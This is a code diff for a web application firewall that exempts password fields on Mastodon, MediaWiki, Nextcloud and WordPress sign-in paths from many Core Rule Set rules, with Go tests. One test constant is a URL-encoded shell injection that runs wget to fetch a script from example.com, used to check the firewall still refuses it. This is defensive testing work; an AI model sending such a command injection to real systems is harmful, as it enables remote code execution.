+        ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
+        ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
+
 # The web app's reports have the JSON keys forward and forward_to_domains. A
 # report forwarded to another server lists that server in forward_to_domains.
 # Their names contain .forward, a file in a home folder, so 930120 refused every

internal/coreruleset/mastodon_test.go

@@ -6,6 +6,7 @@ import (
 	"net/http"
 	"net/url"
 	"slices"
+	"strings"
 	"testing"
 
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -129,10 +130,6 @@ var mastodonFormFields = []mastodonBodyField{
 	{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
 	{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
 	{http.MethodPost, "/settings/migration", "account_migration[acct]="},
-	{http.MethodPost, mastodonSignIn, mastodonPassword},
-	{http.MethodPost, mastodonAccount, mastodonPassword},
-	{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
-	{http.MethodPost, mastodonAccount, "user[current_password]="},
 	{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
 	{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
 	{http.MethodPost, "/admin/report_notes", "report_note[content]="},
@@ -145,6 +142,19 @@ var mastodonFormFields = []mastodonBodyField{
 	{http.MethodPost, mastodonRoles, "user_role[name]="},
 	{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
 	{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
+	{http.MethodPost, mastodonSignUp, "reason="},
+}
+
+// mastodonPasswordForms sends each password field in a form data body, on
+// a path where it skips the four rules and the rules that random passwords
+// set off.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var mastodonPasswordForms = []mastodonBodyField{
+	{http.MethodPost, mastodonSignIn, mastodonPassword},
+	{http.MethodPost, mastodonAccount, mastodonPassword},
+	{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
+	{http.MethodPost, mastodonAccount, "user[current_password]="},
 	{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
 	{
 		http.MethodPost, "/settings/migration/redirect",
@@ -152,7 +162,14 @@ var mastodonFormFields = []mastodonBodyField{
 	},
 	{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
 	{http.MethodPost, mastodonSignUp, passwordField},
-	{http.MethodPost, mastodonSignUp, "reason="},
+}
+
+// mastodonPasswordJSON sends the password of signing up through the API in
+// a JSON body, with %s for its value.
+//
+//nolint:gochecknoglobals // a struct cannot be a constant
+var mastodonPasswordJSON = mastodonBodyField{
+	http.MethodPost, mastodonSignUp, `{"password":%s}`,
 }
 
 // mastodonJSONFields sends each field that skips the four rules in a JSON
@@ -178,7 +195,6 @@ var mastodonJSONFields = []mastodonBodyField{
 	{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
 	{http.MethodPost, mastodonReports, `{"comment":%s}`},
 	{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
-	{http.MethodPost, mastodonSignUp, `{"password":%s}`},
 	{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
 	{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
 	{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
@@ -287,6 +303,34 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 	}
 }
 
+func TestMastodonPasswordsPass(t *testing.T) {
+	t.Parallel()
+
+	for _, sent := range mastodonPasswordForms {
+		t.Run(sent.target+" "+sent.field, func(t *testing.T) {
+			t.Parallel()
+
+			r := request{sent.method, sent.target, []string{formData}}
+			name := strings.TrimSuffix(sent.field, "=")
+
+			wantRandomPasswordsPass(t, r, name)
+			wantPasswordAttacksPass(t, r, name)
+			wantPasswordAttacksRefused(t, r, name)
+		})
+	}
+
+	t.Run("JSON", func(t *testing.T) {
+		t.Parallel()
+
+		r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
+			[]string{jsonBody}}
+
+		wantRandomPasswordsPass(t, r, "password")
+		wantPasswordAttacksPass(t, r, "password")
+		wantPasswordAttacksRefused(t, r, "password")
+	})
+}
+
 func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
 	t.Parallel()
 
@@ -299,7 +343,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
 		}
 	}
 
-	for _, sent := range mastodonFormFields {
+	for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
 		if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
 			t.Errorf("%v let through", sent)
 		}
@@ -310,7 +354,8 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
 		t.Fatal(err)
 	}
 
-	for _, sent := range mastodonJSONFields {
+	passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
+	for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
 		if mastodonJSON(t, sent, attack) < mastodonThreshold {
 			t.Errorf("%v let through", sent)
 		}
@@ -330,6 +375,12 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
 				t.Errorf("%s refused: %d", sent, score)
 			}
 		}
+
+		for _, sent := range mastodonPasswordForms {
+			if mastodonForm(t, sent, value) >= mastodonThreshold {
+				t.Errorf("%v with %s refused", sent, value)
+			}
+		}
 	}
 
 	code := url.QueryEscape(mastodonCodePost)

internal/coreruleset/mediawiki.conf

@@ -108,6 +108,86 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
         ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
 
+# wpPassword, lgpassword and password skip each rule random passwords set off.
+SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
+    "id:900917,phase:1,pass,nolog,chain"
+    SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
+    SecRule &ARGS_GET:wpPassword "@eq 0" \
+        "ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
+        ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
+
+SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
+    "id:900918,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
+        ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
+
 # Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
 # or prependtext, and the REST API in the JSON field source. Each of these
 # rules refused saving or previewing a page whose wikitext held a template, a

internal/coreruleset/mediawiki_test.go

@@ -3,6 +3,7 @@ package coreruleset_test
 import (
 	"net/http"
 	"slices"
+	"strings"
 	"testing"
 )
 
@@ -49,9 +50,9 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
 }
 
 // mediawikiQueryFields and mediawikiBodyFields together hold every field that
-// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
-// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
-// path where it skips them, ending in "=".
+// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
+// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
+// each in the query, on a path where it skips them, ending in "=".
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var mediawikiQueryFields = []string{
@@ -136,9 +137,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
 type mediawikiBodyField struct{ target, field string }
 
 // mediawikiBodyFields and mediawikiQueryFields together hold every field that
-// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
-// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
-// a path where it skips them.
+// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
+// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
+// each in a form data body, on a path where it skips them.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var mediawikiBodyFields = []mediawikiBodyField{
@@ -146,13 +147,11 @@ var mediawikiBodyFields = []mediawikiBodyField{
 	{mediawikiUpload, "wpUploadDescription="},
 	{mediawikiUpload, "wpDestFile="},
 	{mediawikiSignIn, "wpName="},
-	{mediawikiSignIn, "wpPassword="},
 	{mediawikiMove, "wpOldTitle="},
 	{mediawikiMove, "wpNewTitleMain="},
 	{mediawikiMove, "wpReason="},
 	{mediawikiBlock, "wpTarget="},
 	{mediawikiSignInPage, "wpName="},
-	{"/w" + mediawikiSignInPage, "wpPassword="},
 	{mediawikiUploadPage, "wpDestFile="},
 	{"/w" + mediawikiUploadPage, "wpUploadDescription="},
 	{mediawikiAPI, "title="},
@@ -165,8 +164,18 @@ var mediawikiBodyFields = []mediawikiBodyField{
 	{mediawikiAPI, "reason="},
 	{mediawikiAPI, "user="},
 	{mediawikiAPI, "lgname="},
-	{mediawikiAPI, "lgpassword="},
 	{mediawikiAPI, "username="},
+}
+
+// mediawikiPasswordFields are the passwords, which skip the four rules and the
+// rules that random passwords set off. mediawikiPasswordFields sends each in a
+// form data body, on a path where it skips them.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var mediawikiPasswordFields = []mediawikiBodyField{
+	{mediawikiSignIn, "wpPassword="},
+	{"/w" + mediawikiSignInPage, "wpPassword="},
+	{mediawikiAPI, "lgpassword="},
 	{mediawikiAPI, passwordField},
 }
 
@@ -233,6 +242,23 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 }
 
+func TestMediaWikiPasswordsPass(t *testing.T) {
+	t.Parallel()
+
+	for _, sent := range mediawikiPasswordFields {
+		t.Run(sent.target+" "+sent.field, func(t *testing.T) {
+			t.Parallel()
+
+			r := request{http.MethodPost, sent.target, []string{formData}}
+			name := strings.TrimSuffix(sent.field, "=")
+
+			wantRandomPasswordsPass(t, r, name)
+			wantPasswordAttacksPass(t, r, name)
+			wantPasswordAttacksRefused(t, r, name)
+		})
+	}
+}
+
 // mediawikiCommandAttack is a shell command that only 932235 refuses on the
 // fields that skip the other command rules, as a query value.
 const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
@@ -253,7 +279,8 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 
 	crs = readingBodies(t)
 
-	for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
+	for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
+		mediawikiPasswordFields) {
 		r := request{http.MethodPost, sent.target, []string{formData}}
 
 		got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
@@ -311,8 +338,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
 			}
 		}
 
-		fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
-			mediawikiWikitextFields...)
+		fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
+			mediawikiPasswordFields)
 
 		for _, sent := range fields {
 			r := request{http.MethodPost, sent.target, []string{formData}}

internal/coreruleset/nextcloud.conf

@@ -61,6 +61,46 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
     ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
     ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
 
+# The password, in the body, skips each rule that random passwords set off.
+SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
+    "id:900125,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:password "@eq 0" \
+        "ctl:ruleRemoveTargetById=920270;ARGS:password,\
+        ctl:ruleRemoveTargetById=920540;ARGS:password,\
+        ctl:ruleRemoveTargetById=921200;ARGS:password,\
+        ctl:ruleRemoveTargetById=930100;ARGS:password,\
+        ctl:ruleRemoveTargetById=930110;ARGS:password,\
+        ctl:ruleRemoveTargetById=930120;ARGS:password,\
+        ctl:ruleRemoveTargetById=932125;ARGS:password,\
+        ctl:ruleRemoveTargetById=932130;ARGS:password,\
+        ctl:ruleRemoveTargetById=932160;ARGS:password,\
+        ctl:ruleRemoveTargetById=932230;ARGS:password,\
+        ctl:ruleRemoveTargetById=932250;ARGS:password,\
+        ctl:ruleRemoveTargetById=932260;ARGS:password,\
+        ctl:ruleRemoveTargetById=932270;ARGS:password,\
+        ctl:ruleRemoveTargetById=932280;ARGS:password,\
+        ctl:ruleRemoveTargetById=932330;ARGS:password,\
+        ctl:ruleRemoveTargetById=932340;ARGS:password,\
+        ctl:ruleRemoveTargetById=932370;ARGS:password,\
+        ctl:ruleRemoveTargetById=932380;ARGS:password,\
+        ctl:ruleRemoveTargetById=933100;ARGS:password,\
+        ctl:ruleRemoveTargetById=933135;ARGS:password,\
+        ctl:ruleRemoveTargetById=933180;ARGS:password,\
+        ctl:ruleRemoveTargetById=933210;ARGS:password,\
+        ctl:ruleRemoveTargetById=941100;ARGS:password,\
+        ctl:ruleRemoveTargetById=941120;ARGS:password,\
+        ctl:ruleRemoveTargetById=941160;ARGS:password,\
+        ctl:ruleRemoveTargetById=941180;ARGS:password,\
+        ctl:ruleRemoveTargetById=942100;ARGS:password,\
+        ctl:ruleRemoveTargetById=942151;ARGS:password,\
+        ctl:ruleRemoveTargetById=942190;ARGS:password,\
+        ctl:ruleRemoveTargetById=942230;ARGS:password,\
+        ctl:ruleRemoveTargetById=942290;ARGS:password,\
+        ctl:ruleRemoveTargetById=942320;ARGS:password,\
+        ctl:ruleRemoveTargetById=942540;ARGS:password,\
+        ctl:ruleRemoveTargetById=942550;ARGS:password,\
+        ctl:ruleRemoveTargetById=944150;ARGS:password"
+
 # The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
 SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
     "id:900103,phase:1,pass,nolog,\

internal/coreruleset/nextcloud_test.go

@@ -16,6 +16,9 @@ import (
 // nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
 const nextcloudThreshold = 5
 
+// nextcloudSignIn is the sign-in page.
+const nextcloudSignIn = "/login"
+
 // nextcloudShare is a public share's page.
 const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
 
@@ -83,8 +86,7 @@ var nextcloudQueryFields = []string{
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var nextcloudFormFields = []struct{ target, field string }{
-	{"/login", "user="},
-	{"/login", passwordField},
+	{nextcloudSignIn, "user="},
 	{nextcloudUsers, "userid="},
 	{nextcloudUsers, "displayName="},
 	{nextcloudUsers, "groups%5B%5D="},
@@ -301,6 +303,17 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
 	return scores
 }
 
+// nextcloudPasswordScore returns the score that the Core Rule Set, reading
+// bodies, gives signing in with value, a query value, as the password.
+func nextcloudPasswordScore(t *testing.T, value string) int {
+	t.Helper()
+
+	r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
+	got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
+
+	return got.Score
+}
+
 func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
 	t.Parallel()
 
@@ -310,7 +323,21 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
 				t.Errorf("%s refused: %d", request, score)
 			}
 		}
+
+		if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
+			t.Errorf("password %s refused: %d", value, score)
 		}
+	}
+}
+
+func TestNextcloudPasswordPasses(t *testing.T) {
+	t.Parallel()
+
+	r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
+
+	wantRandomPasswordsPass(t, r, "password")
+	wantPasswordAttacksPass(t, r, "password")
+	wantPasswordAttacksRefused(t, r, "password")
 }
 
 func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
@@ -361,6 +388,10 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 			t.Errorf("%s let through: %d", request, score)
 		}
 	}
+
+	if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
+		t.Errorf("password %s let through: %d", commandInjection, score)
+	}
 }
 
 func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {

internal/coreruleset/wordpress.conf

@@ -96,11 +96,45 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
         ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
         ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
 
-# Signing in, in pwd, where a password holds any characters:
-#   930120: a password ending in /etc/hosts
+# Signing in, in pwd, which skips each rule that random passwords set off.
 SecRule REQUEST_FILENAME "@streq /wp-login.php" \
     "id:900704,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
+    SecRule &ARGS_GET:pwd "@eq 0" \
+        "ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
+        ctl:ruleRemoveTargetById=944150;ARGS:pwd"
 
 # Saving through the REST API, the JSON fields title, excerpt and name skip these
 # rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only